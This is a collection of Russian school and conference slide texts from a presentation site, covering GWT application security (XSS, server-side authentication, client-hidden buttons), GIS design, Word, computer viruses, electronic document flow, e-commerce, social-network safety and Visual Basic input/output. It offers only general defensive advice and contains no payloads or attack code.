	Многие GWT разработчики используют GWT наряду с другими JavaScript решениями. Например, приложение может использовать mashup с кодом из разных сайтов, или можно использовать JavaScript библиотеку третьих лиц вместе с GWT. В этом случае, приложение может стать уязвимым.
	Если необходимо смешивать другой JavaScript код с GWT в вашем приложении, важно чтобы просматривался каждый кусочек, чтобы быть уверенными, что приложение защищено.
Работа с innerHtml
	Это распространенная техника, чтобы заполнять тела таблиц, DIV-ов, фреймов, и других подобных UI элементов некоторым статичным HTML контентом. Это особенно легко достигается, через определение innerHTML атрибута JavaScript объекта. Однако, это рискованно, так как позволяет злому содержанию напрямую загружаться на вашу страницу.
Пример взлома XSS
	При использовании стандартных GWT виджетов разработчики не защищены от XSS. Например, рассмотрим виджет Grid. Без дополнительного экранирования символов, можно получить следующий эффект.
Предпосылка XSS
Последствия XSS

Пример взлома XSS
	Но и это не наихудший вариант взлома. Таким же образом можно вставить JavaScript код или целый блок разметки, с помощью которого злоумышленник будет делать то, что хочет.
Предпосылка XSS

Последствия XSS

Аутентификация пользователя
	Вследствие удобности разработки на GWT, разработчик порой забывает, какой код он пишет в данный момент: серверный или клиентский. С этим может быть связанно много проблем, в том числе и проблема аутентификации.
Аутентификация пользователя
	Как известно, любой запрос, исходящий от клиентской части, потенциально опасный. Поэтому никогда аутентификацию пользователя нельзя проводить в клиентском коде. Необходимо делать удаленный вызов на сервер, аутентифицировать его, а затем заносить данные о пользователе в параметры сессии.
Скрытые элементы
	Иногда в больших системах есть разграничения доступа различных пользователей к различным частям системы. Вследствие этого пользователь может, например, не видеть каких-либо кнопок на экране. Например, сравним следующие участки кода.
Скрытые элементы
Вариант 1:
if (canDeleteUser) {
	this.deleteButton = new Button(“Delete”);
	add(deleteButton);
}

Вариант 2:
this.deleteButton = new Button(“Delete”);
add(deleteButton);
if (!canDeleteUser) {
	deleteButton.setVisible(false);
}
В ЧЕМ ОТЛИЧИЕ?
Скрытые элементы
	Вариант 2 выглядит более привлекательно, потому что при добавлении кнопки мы можем свободно манипулировать ее состоянием (активна/неактивна), не думая о том, что она возможно не создана и сгенерирует NullPointerException.

Скрытые элементы
	Но если вспомнить, что клиентский код будет преобразован в JavaScript, получим для варианта 1 полное отсутствие кнопки в DOM модели:

Скрытые элементы
	Для второго варианта соответственно:

Скрытые элементы
	Современные браузеры позволяют редактировать DOM модель загруженной страницы. Поэтому, используя, например, Google Chrome, получаем явную уязвимость (при отсутствии дополнительной проверки права на сервере):
Скрытые элементы

Выводы
	Технология GWT является популярной среди программистов. Google всячески поддерживает новшества в ней, выпуская новые версии, исправляя известные ошибки. Разработчики GWT позаботились о максимальной безопасности GWT. Но, с учетом особенности среды, в которой будет работать результирующий код, необходимо быть предельно осторожным при использовании GWT.
Спасибо

Автор:
Карпунов Геннадий

Использовались материалы статьи:
http://groups.google.com/group/Google-Web-Toolkit/web/security-for-gwt-applications?pli=1

Mail: sweet_misery@list.ru
ICQ: 483696862
IM: muzikant_777
Skype: muzikant_777


title: Скачать презентацию или конспект Первый этап проектирования ГИС

extracted_text:
Лекция 2. Часть 1I этап проектирования ГИС

Выполнил студент группы ЗК-30
Китова Дарья Игоревна
Этапы проектирования геоинформационных систем:
1. Описание проекта
1.1 Содержание проекта
1.2 Состав исходной информации
1.3 Послойное представление данных

Этапы проектирования геоинформационных систем:
2. Логическая модель проекта
2.1 Организация графических данных
2.2 Организация атрибутивных данных
2.3 Связь между графической и атрибутивной информациями
2.4 Схема решения задач проекта

Этапы проектирования геоинформационных систем:
3. Реализация проекта
3.1 Выбор ГИС
3.2 Настройка проекта
3.3 Создание слоёв
3.4 Создание таблиц
3.5 Дополнение проекта
3.6 Решение задач проекта

Этапы проектирования баз данных:
1. Концептуальный
2. Логический
3. Физический

1. Описание проекта
Данный этап проектирования направлен на описание предметной области, выявление особенностей затрагиваемых объектов.

1.1 Содержание проекта
Описание подробного содержания; формирование требований; выполнение поставленных задач, решаемых в данном проекте.

Пример к требованиям:
1. Основным содержанием проекта должна быть географическая локализация объектов и отграничение связей между ними.
2. Необходимо выполнить преобразование растра и векторной информации.
3. Выполнить преобразование графического материала из одной проекции в другую.
4. Примеры задач, решаемых при использовании проекта:
- получить справочно-статистическую информацию об имеющихся объектах;
- визуализировать графические объекты и обеспечить выбор графической информации;
- определить площадь объектов;
- сформировать схемы, тематические карты.

1.2 Состав исходной информации.
Состав исходной информации полностью определяется содержанием проекта, отражённым в разделе «Содержание проекта». Среди исходной информации можно выделить графическую и семантическую. Например: имеется растровая карта, 10 000 масштаба, полученная со спутника (космоснимок - растровое изображение).

1.3 Послойное представление данных
Формирование электронной карты в свете концепции послойного представления данных заключается в том, что на разных слоях одной и той же математической основы хранятся расчленённые по тематике оригиналы карт либо отдельные их элементы. В разных инструментальных средствах, применяемых для создания ГИС, используются различные концепции того, что является слоем и какие операции можно с ним выполнять.

1.3 Послойное представление данных
Для некоторых ГИС в слое могут объединяться только объекты со сходной математической моделью их описания (точечный слой, линейный слой, площадной слой). На данном этапе выделяют группы географических объектов, отличающихся друг от друга в свете задач проекта. После выбора объектов данной группы решается вопрос: объединять ли их в один слой или разнести по разным? Для этого необходимо дать ответы на следующие вопросы:
1. Имеют ли какое – либо самостоятельное значение объекты, которые предполагается выделить в отдельный слой?
2. Какие возможности предоставляют выбранные инструментальные средства для отражения различий разных категорий объектов, объединённых в один слой?
3. Какими функциональными возможностями обладает ГИС – оболочка для работы с несколькими слоями одновременно? для работы с данными в пределах одного слоя?

Спасибо за внимание!


title: Скачать презентацию или конспект Работа с таблицами в Microsoft Office Word 2007

extracted_text:
Работа с таблицами в
Microsoft Office Word 2007
Для работы с таблицами служит пункт главного меню «Таблица».
ТаблицаДобавитьСтолбцы (слева или справа).
Для добавления строк – команда ТаблицаДобавитьСтроки (снизу или сверху).
Для добавления ячеек служит команда ТаблицаДобавитьЯчейки.
Для удаления элементов таблицы служит команда ТаблицаУдалить Таблица/Столбцы/Строки/Ячейки
Для слияния выделенных ячеек – команда ТаблицаОбъединить ячейки.
Для разделения ячейки – команда ТаблицаРазбить ячейки.
Меню таблица
Вставить таблицу
Нарисовать таблицу
Преобразовать таблицу
Таблица Excel
Экспресс таблицы
Вставить таблицу
Появится диалоговое окно создания таблицы:
Например:
3 столбца; 5 строк

Нарисовать таблицу
Таблица Excel
Импорт таблиц из Excel в Word
Экспресс таблицы
Конец


title: Скачать презентацию или конспект Классификация компьютерных вирусов

extracted_text:
Компьютерные вирусы.
Антивирусные программы
Компьютерный вирус – это специальная компьютерная программа, как правило, небольшая по размерам, которая при своем запуске уничтожает или портит данные, хранящиеся на компьютере. Компьютерный вирус может выполнять следующие вредные действия:

Удаление или искажение файлов;
Изменение (порча) таблицы размещения файлов на диске, которая отвечает за целостность данных;
Засорение оперативной памяти и памяти диска пустой информацией;
Замедление работы компьютера или его полная остановка (зависание).

Сегодня компьютерные вирусы принято классифицировать по трем типам:
Традиционный вирус - при попадании в компьютер он самовоспроизводится и начинает вызывать проблемы, такие как уничтожение файлов. Наибольший ущерб нанес в 2000 году вирус I Love You - $8 млрд.
«Черви» - попадают в компьютеры через сеть и заставляют программу рассылки электронной почты слать письма с вирусом по всем адресам, хранящимся в памяти. Червь «Blaster» в 2003 году сумел поразить более миллиона компьютеров.
«Троянский конь» - программа не причиняет вреда компьютеру, но попав в систему, он обеспечивает хакеров доступом ко всей информации на компьютере, а также к управлению компьютером. В 2002 году при помощи троянской программы QAZ хакерам удалось получить доступ к программным кодам Microsoft.

Антиви́русная програ́мма (антиви́рус) — специализированная программа для обнаружения компьютерных вирусов, а также нежелательных (считающихся вредоносными) программ вообще и восстановления заражённых (модифицированных) такими программами файлов, а также для профилактики — предотвращения заражения (модификации) файлов или операционной системы вредоносным кодом.
Компьютерные антивирусыСуществует несколько типов антивирусов:
Антиспам. Блокирует письма рекламного содержания.
Антишпион. Предотвращает кражу паролей и другой персональной информации.
Брандмауэр. Останавливает нежелательные сетевые подключения.
Родительский контроль. Дает возможность ограничить ребенку доступ к определенным ресурсам.

Спасибо за внимание!
http://interneshka.org/
Специально для конкурса «Интернешка»


title: Скачать презентацию или конспект ЭДО в России

extracted_text:
ЭДО в России
Минин Виктор
Член Правления Союза ИТ-директоров России
Сопредседатель комитета по информационной безопасности
Создание рабочей группы
Институт современного развития
Союз ИТ-директоров России

При участии представителей  ОГВ:
Аппарат  комитета по безопасности Государственной думы
Комитет ГД ФС РФ по информационной политике, технологиям и связи
Комитета Государственныой Думы по информационной политике
ФГУП «Ростехинвентаризация - Федеральное БТИ»
Всероссийский  научно-исследовательский институт документоведения и архивного дела (ВНИИДАД)
При участии профильных экспертов профессиональных объединений:
Ассоциации Защиты Информации
Гильдия Управляющих Документацией
Национальная Ассоциация инноваций и развития информационных технологий
Национальная ассоциация участников электронной торговли  и  др.
Отраслевые компании разработчиков и потребителей

Электронный документооборот  в России
2
Сроки существования рабочей группы
Начало  работы РГ  - апрель 2009 года

Завершение исследовательских работ март 2010 года

Проведение открытого круглого стола
     «Электронный документооборот в России: цели, проблемы, задачи» 19 марта 2010 года

Подготовка итогового документа апрель-сентябрь 2010 года

Оформление и направление в адрес Президента РФ и Председателю Правительства РФ 6 сентября 2010 года

Электронный документооборот  в России
3
Постановка задачи и цели работы РГ
Цель исследования.
     Целью исследования стало выявление проблем использования систем электронного документооборота и механизмов дистанционного предоставления государственных услуг, оказываемых на основе современных информационно-коммуникационных технологий, в том числе посредством сети Интернет.

Предмет исследования.
     Электронный документ – как документ, обладающий юридической силой, юридически значимый электронный документооборот, электронное взаимодействие и государственные услуги в электронном виде.

Кому адресован данный документ.
      Президенту России, Председателю Правительства России и всем кто, так или иначе, влияет на принимаемые решения в рамках реализации проекта «Электронное Правительство» и программ «Информационное общество».

Ограничения, накладываемые на предмет исследования.
      Исследования опирались на терминологию, общепринятую в международной практике.  В российском законодательстве отсутствуют юридически закрепленные термины, что создает некоторые правовые коллизии.

Электронный документооборот  в России
4
Наименование и содержание Итогового документа

«Электронный документооборот в России:
актуальные проблемы и дальнейшее развитие»

Введение и Методология исследования
Общее состояние и основные проблемы развития в России ЭДО
Особенности текущей ситуации в области использования ЭДО.
Проблемы законодательного регулирования применения электронной подписи
Нормотворчество органов исполнительной власти в области ЭДО
Российская судебная практика использования электронных документов
Первоочередные меры создания условий для широкого внедрения ЭДО
Совершенствование законодательства об электронном документообороте
Совершенствование законодательства об ЭЦП
Общие рекомендации к законодательству
Совершенствование системы стандартизации и технического регулирования
Заключительные положения и выводы

Приложения
Термины, определения и сокращения
Предложения для включения в технические стандарты и спецификации

Электронный документооборот  в России
5
Особенности ЭДО в России
Смешанное сочетание бумажного и электронного документооборота

       В рамках исследования эксперты выдели условные виды систем ЭДО и дифференциацию государственного регулирования применительно к каждому виду:
Государственные услуги юридическим лицам и гражданам (на основании форматов и регламентов, утвержденных правительством либо установленных уполномоченным органом государственной власти).
Внутриведомственный электронный документооборот (на основании регламентов, утвержденных руководителем соответствующего органа государственной власти).
Межведомственный электронный документооборот (межведомственное информационное взаимодействие) (на основании принятого стандарта (технического регламента)).
Межведомственный трансграничный электронный документооборот (на основе международного стандарта).
Внутрихозяйственный электронный документооборот (на основе установленных стандартов бухгалтерского учета и регламентов, утвержденных руководителем организации).
Межхозяйственный электронный документооборот (на основе установленных стандартов бухгалтерского учета).

Электронный документооборот  в России
6

Электронный документооборот  в России
7
Экспертиза «Системного проекта формирования в Российской Федерации электронного правительства»
Электронный документооборот  в России
8
Ответ письмо
Электронный документооборот  в России
9
Место публичного размещения документов
Электронный документооборот  в России
10
Официальный портал ИТ-директоров

http://www.globalcio.ru/

Мнение  экспертного сообщества
Может быть востребовано
Только если будет
Прямое указание сверху

Минин Виктор


title: Скачать презентацию или конспект Электронная коммерция

extracted_text:
Федеральное агентство по образованиюГосударственное образовательное учреждениевысшего профессионального образования«Сибирский государственный индустриальный университет»
«Электронная коммерция»презентация

                              Выполнил: ст.гр. ЭУК-07
                                                          Селезнев С.А

                                    Проверил: Новокрещин Б.Г

Введение
		Начиная с середины 90-х годов во всем мире наблюдается рост активности в области онлайновой торговли. Вслед за крупными компаниями, производящими компьютерное оборудование в сеть стали выходить торговцы традиционными товарами. Появилось большое количество книжных магазинов, магазины компакт-дисков и видеокассет, винные магазины. Сейчас практически любые товары можно купить через сеть.
Знание
 		Электронная коммерция  - это ускорение большинства бизнес-процессов за счет их проведения электронным образом.
Применение
		Применение современных Интернет - технологий в бизнесе не ограничивается созданием Web-сайта или электронного каталога с возможностью заказа, а подразумевает использование технологии и накопленного опыта для глубинной перестройки способов ведения деловых операций при помощи Интернет и сопутствующих сетевых компьютерных технологий
Понимание
   		Под электронной  коммерцией понимается процесс зарабатывания денег с использованием Интернет-технологий.
Анализ
		Если розничные электронные магазины для российского рынка это все еще экзотика, то преимущества ведения деловых операций через Интернет многие компании почувствовали уже сейчас. Это стало особенно актуальным в условиях экономического кризиса и связано с преимуществами, которые получит фирма после применения интернет - технологий.
Синтез
		Для поддержки сервера электронной коммерции оборудование должно иметь адекватную мощность. Если говорить о системах старшего класса, то стоит назвать мэйнфрейм System/390 компании IBM с улучшенной системой ввода/вывода и усовершенствованной поддержкой TCP/IP и приложений Java.
Оценка
  		 Использование технологий онлайновой торговли необходимо компаниям, имеющим развитую региональную партнерскую сеть, так как позволит значительно снизить стоимость обработки заказов.
     		На рисунке  показаны схемы процесса приобретения товара до и после внедрения технологии электронной торговли в оптовой компании.
            до внедрения          после внедрения

Заключение
 		Ситуация с электронной коммерцией в России остается довольно сложной. Это происходит из-за несовершенности и противоречивости отечественного законодательства, а так же из-за малой покупательской способности граждан нашей страны. Большинство интернет - магазинов в России держаться, если можно так сказать, исключительно на энтузиазме.


title: Скачать презентацию или конспект Текстовый процессор Microsoft WORD

extracted_text:
Microsoft WORD
Создание документов и
основы редактирования
Текстовый процессор
Создание нового документа
При запуске программы WORD автоматически создается новый документ.
Достаточно просто начать вводить текст, а затем сохранить его.
Окно WORD
Строка заголовка
Меню
Панель инструментов
Панель форматирования

Линейка
Эскиз

Область заданий

Панель рисования

Строка состояния

Языковая панель

Полоса прокрутки
Редактирование текста
Перед внесением изменения в текст, необходимо перейти к тому месту, где эти изменения будут сделаны.
Перемещаться по тексту можно с помощью мыши, клавиатуры, схемы документа.
Навигация  с помощью мыши
Щелкнуть мышью вверху или внизу полосы прокрутки для перемещения на один экран вверх или вниз.
Выбрать команду Сервис \ Параметры и во вкладке Вид диалогового окна Параметры установить флажок Строка состояния. Теперь по мере перетаскивания ползунка полосы прокрутки будет отображаться подсказка с номером и первым заголовком текущей страницы.
При использовании мыши с колесиком перемещение можно выполнять, вращая колесико мыши.
Использование клавиатуры

Чтобы максимально эффективно использовать клавиатуру следует использовать для навигации клавиши со стрелками

 а так же клавиши Page Up, Page Down

Схема документа
Чтобы отобразить схему документа слева от него, выбрать команду Вид\Схема документа.
Схема
демонстрирует общий план организации документа, показывая его в виде иерархически расположенных заголовков в отдельной панели, снабженной полосой прокрутки. Основное назначение схемы документа – навигация по документу. Чтобы перейти к заголовку достаточно щелкнуть по нему. А при перемещении по документу другим способом в схеме документа выделяется заголовок раздела, в котором находится курсор.

Форматирование текста
Под форматированием понимают:
Изменение размера, цвета, стиля шрифта;
Изменение начертания;
Выравнивание текста;
Установку нумерованных и маркированных списков.

Форматировать можно фрагмент текста или целый текст.
Чтобы работать с текстовым фрагментом сначала его необходимо  выделить.
Выделение текста.
Несложно выделять текст с помощью мыши

Перемещение и копирование текста
При перемещении текст удаляется из исходного места и помещается в другое.
При копировании фрагмент текста остается в исходном месте, а на место назначения помещается его копия.
Перемещение и копирование текста
Этапы копирования и перемещения текста.
Выделить текст, который нужно скопировать или переместить.
Скопировать (или вырезать) выделенный текст.
Переместить курсор в место вставки.
Вставить скопированный или выделенный текст.
Перемещение и копирование текста
Сохранение документа
Выполнить команду Файл\Сохранить как…
Открыть папку, в которой должен быть сохранен документ.
В поле Имя файла записать название документа.
Клацнуть на кнопке Сохранить.
Диалоговое окно Сохранения документа


title: Скачать презентацию или конспект Информация и информационные процессы в живой и неживой природе

extracted_text:
Информация и информационные процессы в живой и неживой природе
Чем больше информации тем больше порядка…
"хаос"              "порядок"

Эволюция вселенной
микромир

макромир

Мегамир
От "порядка" к "хаосу"
Информация в природе…
Информация для человека…


title: Скачать презентацию или конспект Безопасная работа в социальных сетях

extracted_text:
Безопасная работа в социальных сетях: общение, публикация материалов
Презентация подготовлена для конкурса "Интернешка" http://interneshka.org/
Социальные сети
Это платформа, онлайн-сервис или веб-сайт, предназначенные для построения, отражения и организации социальных взаимоотношений в Интернете.
Опасность!!!
Размещенная информация может быть найдена и использована кем угодно
Вирусы
Преступники, мошенники
Серьезная психическая зависимость

Правила безопасности
НИКОГДА!!!
Не размещай паспортные данные, данные банковской карты, номер телефона и свой адрес
Не добавляй в друзья незнакомых людей, особенно если они намного старше тебя, не переписывайся с ними

НИКОГДА!!!
Не сообщай свой пароль людям, которым не доверяешь на 100%
Не переходи по подозрительным ссылкам

Всегда !!!
Думай перед тем, как выложить что-либо в интернет. Помни: то, что попало в Интернет, совсем удалить невозможно. Это может повредить тебе в будущем
Помни, что под чужим именем с тобой может познакомиться кто угодно, не нужно выдавать все секреты первому встречному

Обязательно!!!
Следи за временем, которое ты проводишь в интернете, ограничь его. Интернет-зависимыми сегодня являются около 10 % пользователей во всём мире. Не пополни их ряды! Найди хобби, которое тебе по душе, тогда у тебя не возникнет желания провести весь день в социальной сети.
Спасибо за внимание


title: Скачать презентацию или конспект Операторы ввода и вывода в VisualBasic

extracted_text:
Операторы Ввода и Выводав Visual Basic
 InputBox, MsgBox
Оператор ввода
a=InputBox(«Введите число», «Ввод числа»)

a=InputBox(«Подсказка», «Заголовок окна»)

Заголовок окна
Подсказка
Поле для ввода
2
Автор Флеонов В.В.
Оператор ввода
Можно вводить функцию как малыми так и большими буквами:
	INPUTBOX
	inputbox
   iNPUTbOX
Обратите внимание на алгоритм:

Это не ошибка! Компьютер сам исправит
Private Sub Command1_Click()
a = InputBox("Введите первое число", "Ввод числа")
b = InputBox("Введите второе число", "Ввод числа")
c=val(a)+val(b)
End Sub
Что выполняет эта подпрограмма и когда?
3
Автор Флеонов В.В.
Оператор вывода
z = MsgBox("Вы нашли сумму цифр", 48 + 1, "Вывод результата")

z = MsgBox(«Фраза-ответ", числ.код 1 + числ.код 2, «Заголовок окна")

Заголовок окна
Знак (отвечает числ.код 1)
Кнопки (отвечает числ.код 2)
Фраза (ответ)
4
Автор Флеонов В.В.
Числовой код 1
5
Автор Флеонов В.В.
Числовой код 2
6
Автор Флеонов В.В.
Какое из окон появится?
s = MsgBox("Завершить программу?", 32 + 4, "Завершение")
7
Автор Флеонов В.В.
Вывод числа
a = InputBox("Введите первое число", "Ввод числа")
b = InputBox("Введите второе число", "Ввод числа")
c=val(a)+val(b)
s = MsgBox("Сумма числе равна "+с, 0 + 0, "Ответ")
Фраза-подсказка (в ковычках)
Пробел
Знак «+»
Два числ.кода
Заголовок (в кавычках)
Переменная (БЕЗ кавычек)
8
Автор Флеонов В.В.
Если нажать одну из кнопок?

Необходим числовой код 3:

9
Автор Флеонов В.В.
Как оформить в программе управление кнопками?
1
a = InputBox("Введите первое число", "Ввод числа")
b = InputBox("Введите второе число", "Ввод числа")
c=val(a)+val(b)
s = MsgBox("Сумма числе равна "+с, 0 + 1, "Ответ")
If s=2 Then End
If s=1 Then GoTo 1
Т.е. если нажата кнопка “Отмена” (сообщение S=2), то программа завершает свою работу (End), если нажата “ОК” (сообщение S=1), то осуществляется переход с помощью GoTo к метке 1  (в нашем случае - в начало).
Важно понимать, что в рассматриваемом алгоритме последнюю строку (If s=1 Then …) можно было не вводить, т.к. подпрограмма  всё равно будет «ожидать» от пользователя последующих действий, например, нажатой кнопки
10
Автор Флеонов В.В.


extracted_text:
Работа  выполнена Акутиной Юлии  ученицы 10 «А» класса ГБОУ СОШ № 10 г.о. Жигулевска
Безопасная работа в социальных сетях
 "Презентация подготовлена для конкурса "Интернешка" http://interneshka.org/".

Несколько рекомендаций, которые помогут вам безопасно работать в социальный сетях
Используя социальные сети позаботься о своей конфиденциальности и конфиденциальности твоей семьи и  друзей.
1 рекомендация
Если ты зарегистрировался на сайте социальной сети, используй настройки конфиденциальности, для того чтобы защитить твойонлайн-профиль таким образом, чтобы только твои друзья могли его просматривать.
2 рекомендация
Храни свои персональные данные в тайне, особенно при общении во взрослых социальных сетях.
3 рекомендация
Используй ник вместо своего настоящего имени на любом онлайн-сервисе, где много незнакомых людей может прочитать твою информацию.
4 рекомендация
Спроси своих родителей прежде, чем сообщать кому-либо в интернете свое имя, адрес, номер телефона или любую другую персональную информацию.
5 рекомендация
Не забывай эти простые рекомендации и ты обезопасишь свою социальную страницу